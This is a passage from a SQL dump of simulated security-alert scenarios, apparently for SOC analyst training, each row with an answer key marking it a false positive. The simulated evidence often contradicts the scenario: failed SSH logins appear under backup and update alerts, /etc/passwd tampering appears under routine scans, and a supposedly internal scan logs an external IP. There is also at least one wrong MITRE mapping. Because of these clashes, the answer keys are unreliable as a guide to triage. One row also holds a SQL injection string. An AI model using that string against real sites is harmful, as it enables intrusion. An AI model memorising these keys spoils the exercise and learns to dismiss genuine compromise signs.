3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1792, 'Authorized System Update Process Executed', 'low', 'Splunk', 'Detected execution of a system update process from an internal IP. This is part of scheduled update operations.', 'Execution', 'T1074', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.5\",\"dst_ip\":\"192.168.4.6\",\"username\":\"update_admin\",\"hostname\":\"update_server\",\"command_line\":\"update_tool --apply-updates\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"IP involved in authorized system updates.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The activity is authorized and part of routine system update processes; hence, it is a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T06:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.5\\\",\\\"dst_ip\\\":\\\"192.168.4.6\\\",\\\"username\\\":\\\"update_admin\\\",\\\"hostname\\\":\\\"update_server\\\",\\\"command_line\\\":\\\"update_tool --apply-updates\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1793, 'Routine IT Vulnerability Scans Trigger Web Request Alert', 'low', 'Wazuh', 'A routine vulnerability scan from an internal IP triggered an alert due to multiple web requests containing harmless test payloads. The scan is part of scheduled security assessments.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc_scan_user\",\"hostname\":\"scanner.internal\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common test payload for SQL injection detection.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Routine vulnerability scanning using test payloads triggered alerts.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.305Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_scan_user\\\",\\\"hostname\\\":\\\"scanner.internal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1794, 'Authorized Administrative Backup Process Detected as Suspicious Execution', 'low', 'Splunk', 'An authorized backup script executed with elevated privileges was flagged due to unusual command line patterns. The script is part of the routine data backup process.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"/usr/local/bin/backup.sh --full --encrypt\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/local/bin/backup.sh --full --encrypt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup script execution.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The execution of authorized backup scripts with encryption options is routine.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.306Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"/usr/local/bin/backup.sh --full --encrypt\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1795, 'Misconfigured Legacy Application Generates Network Connection Alerts', 'medium', 'Elastic SIEM', 'A legacy application attempting to connect to deprecated ports triggered security alerts. The application is known to operate on outdated protocols.', 'Network Connection', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"10.0.0.8\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-app-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for legacy application server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_connection\",\"analysis_notes\":\"Legacy application is known to attempt connections using outdated protocols and ports.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1796, 'Benign System Health Check Mistaken for Lateral Movement', 'low', 'Azure Sentinel', 'Scheduled system health checks using internal credentials were flagged as potential lateral movement due to unusual account usage patterns.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:55:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"10.0.0.60\",\"username\":\"health_check_user\",\"hostname\":\"health-monitor\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system health monitoring.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"health_check_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"User account designated for system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Routine health checks by designated user account were incorrectly flagged.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1797, 'Network Reconnaissance Activity Mistaken for Attack', 'medium', 'Wazuh', 'Internal network reconnaissance scans detected as potential attack activity. The scans are part of regularly scheduled security assessments.', 'Reconnaissance', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.40\",\"username\":\"net_recon_user\",\"hostname\":\"network-scanner\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of network scanner used for reconnaissance.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"reconnaissance\",\"analysis_notes\":\"Regularly scheduled network reconnaissance scans were misinterpreted as attack activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 